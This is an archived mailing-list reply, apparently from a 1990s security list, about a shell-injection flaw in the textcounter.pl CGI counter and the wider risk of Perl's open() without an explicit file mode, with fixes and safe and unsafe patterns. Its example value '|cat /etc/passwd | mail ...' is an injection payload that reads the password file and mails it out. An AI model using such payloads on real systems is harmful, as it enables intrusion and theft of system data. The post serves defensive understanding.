> Hi, > > I've found a serious problem in textcounter.pl script that enable >everybody to execute commands on your system with the same rights as the >httpd daemon. > Program was created by Matt Wright (mattwat_private) and >has a "Last Modified Date" at 5/10/96. You can find it at >http://www.worldwidemart.com/scripts/. > > The counter use the enviroment variable DOCUMENT_URI to >create/read/update a file where it keeps the hit count. There is NO test >for shell metacharacters, so you can easily put something evil, that will >make PERL to execute it ... > This is the two lines responsible with the problem ... > > if (-e "$data_dir$count_page") { > open(COUNT,"$data_dir$count_page"); > .... > } I reccomend the original posters fix ahead of, or perhaps in combination with my own. My purpose in writing this is to point out that the vulnerability fits a general class of problems which is to perl what the buffer overflow is to c. I find that in order to establish a script's vulnerability or otherwise, it's usually easier to work back from the danger points in the scripts interaction with the system rather than working forward from the untrusted input. Fixing a problem should involve tightening both ends. grep -R open /home/site/cgi-bin This is the first thing I look for when evaluating a perl cgi script's security. An open command with the file mode not explicitly set. $evil1 = "|cat /etc/passwd | mail fooat_private"; $evil1 = "cat /etc/passwd | mail fooat_private|"; open (FILE, $evil); # unsafe open (FILE, "$evil"); # unsafe open (FILE, "/dir/$evil); # unsafe open (FILE, "$evil.suffix); # unsafe open (FILE, "/dir/$evil.suffix); # safe but I don't like it open (FILE, "<$evil.suffix); # safe open (FILE, ">$evil.suffix); # safe open (FILE, "+>$evil.suffix); # safe Always be explicit about file read/write/pipe mode when opening files with perl. ie this is an alternative fix: open(COUNT,"$data_dir$count_page"); to open(COUNT,"<$data_dir$count_page"); This fix on it's own means that you get evidence in the file names of anyone trying to exploit the script. I don't reccommend it though. The fix I present has the undesirable result that it means the user can create files with dangerous file names - the file gets created, and then someone comes along and does a "rm *". and that filename with a pipe character and evil command executes. This fix is not a good substitute for the original, but as a practice it substantially reduces potential for exploits. Andrew McNaughton ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Andrew McNaughton = ++64 4 389 6891 Any sufficiently advanced = andrewat_private bug is indistinguishable = http://www.newsroom.co from a feature. = -- Rich Kulawiec =
This archive was generated by hypermail 2b30 : Fri Apr 13 2001 - 13:59:28 PDT